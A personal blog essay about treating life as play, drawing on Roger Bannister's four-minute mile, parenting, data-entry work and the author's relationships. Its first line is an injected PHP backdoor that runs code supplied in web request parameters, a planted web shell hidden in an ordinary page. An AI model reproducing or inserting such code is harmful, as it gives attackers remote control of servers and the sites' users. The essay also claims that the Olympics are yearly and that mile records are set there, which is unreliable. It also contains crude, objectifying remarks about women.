if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['5f72b7698aa8023889db9d859b91c5b5']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Play

Play

Life lived in full focus is not about knowing lists of facts. It’s about exploring the principles that guide the universal-truths that define the reality our diverse perspectives understand. Essentially, play is a way to explore our basic understanding. For example, let’s look at the Olympics Games. Every year we hope to see a human play a game faster or better than any other human in competition has done before. This is the elite of the elite in our society, and it’s a game. And it’s a game that creates our understanding of the speeds human can do things. The four-minute mile is the act of completing the mile run (exactly 1,609.344 meters, 5280 feet) in less than four minutes. It was first achieved in 1954 by Roger Bannister in 3:59.4. The ‘four minute barrier’ has since been broken by many male athletes, and is now the standard of all professional middle distance runners. In the last 50 years the mile record has been lowered by almost 17 seconds at the Olympics. Running a mile in four minutes translates to a speed of 15 miles per hour. The average human male runs between 6 and 11 miles per hour. We know this from play. I think always having play as a central core to whatever it is you’re working on helps accomplish a lot of things – here’s my top 10 list:

  1. Play makes everything I do the funnest thing I’ve ever done. IE: I love changing my babies diapers.
  2. Play makes me wildly competitive. IE: I change diapers faster and more efficiently than anyone.
  3. Play converts the drudgery of my repetitive tasks into Practice. IE: I time myself when I have to do something over and over and do it in different ways to find the fastest way to do it. For days on end I manually input each of our retailers into the prometheussprings.com store locator and google search each one to find mistakes in the lists we get from various distributors. It’s mind numbing work, but I make it fun for myself. And I time doing it different ways. I used Amazon’s mechanical turk for parts of the work to force myself to A) learn something new B) Break the monotony of the labor C) Play D) I got so good at it that I figured out tricks. Now I can do the same task 1ox faster when I have a large list to drill through.
  4. Play flattens my hurdles to develop other perspectives. IE: If you are reading this I’m assuming you are understanding what I’m saying and it’s not just a bunch of nonsensical words smashed together. I am not a confidant writer. Laying my mind into text is incredibly intimidating because it adds a degree of solidity to my gaseous thought process. For gas to go solid, the ideas need to liquify or the words don’t just flow. The centered exploration of crystallizing thoughts into this rigid structure of language and text is a kind of perspective my mind naturally avoids. I prefer to do my meetings in person or on the phone. Once an idea is in text, it’s got a date. It says on this date you thought this. I don’t always stay stuck on an old idea, sometimes what was agreed upon yesterday is not a good idea today. People with a present-focus live their lives in 30-60-90 day terms – in the present. My mind is constantly preoccupied on the future using the present simply a data stream informing where I can go in 10 years. It’s hard to slow down and just write out where my head is at, it’s hard work! But I want to see what happens when I write where my head is at, in long-focused-form outside of work. Who’s going to be into this? I want to meet you :-)
  5. Play enables me to redefine myself to myself. IE: When I was 24 I had 3-5 overlapping girlfriends at any given time. These amazing women ranged from from 42 yer old cougars with fake boobs, to 18 yr latin old mall employees with exotic accents and no concept of a life without heels and thongs, to nymphomaniac coke-head bartenders to blonde hair big boob pop stars huge in japan to that really hot emo girl that you cant even imagine speaking to. By 28 I was ready to quit chasing booty, settle down and get married.
  6. Play enables me to be savagely decisive. IE: I knew I wanted to marry and impregnate one specific woman within 10 seconds of seeing her. Never-mind that I only spoke to her for 5 minutes and had only exchanged one email with her. Within the week I told my girlfriend, of two years, that the relationship would not go any further because I’d met my wife. Two weeks after meeting her, I called home for a wedding ring. Seven months we we started dating. We were engaged 12 months later.
  7. Play makes the lives of people in my life more exciting. IE: I told my mother-in-law-to-be that I was going to make her daughter pregnant the week after asking for her hand in marriage. Within one month of the engagement we were with child. I put all these life changing events onto a calender and looked at them, and asked myself if these sudden changes are exhilarating or stressful for all the other people involved? When I ask, everyone seems stressed and excited. Like if you are getting tickled too much but laughing too hard to tell the person to stop so you eventually just collapse; stoked, kinda stressed bot over all feeling pretty exhilarated. I’m comfortable with my life because I feel like I made all the decisions. But these decisions have created a new life, and changed the lives and lifestyles of a handful of people close to me. I wonder if they all feel as stoked as I do all the time? Ah well, that’s my empathy talking. That’s a whole other key. Gotta stay on point.
  8. Play keeps your eye on the ball, and focused. IE: 2 more to go… Just so you know, realizing the stuff I’m talking about is not automatic, these words and thoughts don’t just flow on their own. It’s exercise to stretch my mind and recall formative lessons that have shaped who I am and how I think as the new person who has grown beyond the point being recalled. It’s like being a hermit crab that’s now in a better fitting shell and talking about the old shell my former self used to occupy.
  9. Play helps you safely calibrate when it’s okay to break the rules. IE: This top 10 list is ending at 9 because the job is done, no one will get hurt, or be negatively effected so its more fun this way ;-) “I found longer races boring. I found the mile just perfect.” – Roger Bannister

Another good Bannister quote, on breaking the 4 minute barrier, “No longer conscious of my movement, I discovered a new unity with nature. I had found a new source of power and beauty, a source I never dreamt existed.” So what did Roger do after he broke the world record? He became a distinguished neurologist and Master of Pembroke College, Oxford, before retiring in 2001.